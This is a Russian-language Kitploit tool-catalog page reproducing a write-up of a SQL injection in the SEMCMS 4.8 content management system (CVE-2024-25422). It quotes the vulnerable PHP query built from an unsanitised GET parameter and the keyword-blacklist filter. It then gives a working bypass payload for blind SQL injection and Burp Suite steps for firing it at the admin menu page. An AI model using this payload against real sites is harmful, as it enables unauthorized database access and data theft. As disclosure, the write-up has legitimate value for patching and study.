Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
semcms — В semcms существует SQL-инъекция (CVE-2024-25422) | Kitploit
Инструменты/GitHubGitHub/tzyyyyyyy/semcms
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubtzyyyyyyy/semcms

semcms

В semcms существует SQL-инъекция (CVE-2024-25422)

Репозиторий
42 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Введение в Semcms

SEMCMS — это система управления контентом (CMS) для сайтов внешней торговли, поддерживающая несколько языков.

root@kitploit:~
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip

Причины возникновения уязвимостей:

/xcR45q_Admin/SEMCMS_Menu.php, строка 66

Код уязвимости:

root@kitploit:~
<?php
 } elseif ($type == "edit") {
 
   $row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
 
   ?>

Видно, что здесь ID выполняет SQL-запрос при передаче параметров через GET.

Код фильтрации в /Include/contorl. PHP

Строка 151

root@kitploit:~
function test_input($data) { 
    //$data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,*ENT_QUOTES*);
    return $data;
  }

И 8-я строка

root@kitploit:~
function inject_check_sql($sql_str) {
 
   return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
 } 
 function verify_str($str) { 
    if(inject_check_sql($str)) {
      exit('Sorry,You do this is wrong! (.-.)');
     } 
   return $str;
 } 

Отфильтровав вышеуказанное содержимое, мы можем сформировать payload

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

Воспроизведение уязвимостей

Посетите веб-сайт

root@kitploit:~
http://url/xcR45q_Admin/SEMCMS_Menu.php

Перехват пакетов Brupsuite. Поскольку длина имени базы данных при создании нового сайта равна 5, payload формируется как

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

(Проверка, равна ли длина имени базы данных 5)

Вставьте payload и посмотрите на отклик

clip_image002

Изменим payload на этот раз

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,54,36)

(Проверка, равна ли длина имени базы данных 6)

Изменим payload на этот раз

clip_image004

SQL-инъекцию можно продолжать на основе изменений на странице в будущем.

Скачать инструмент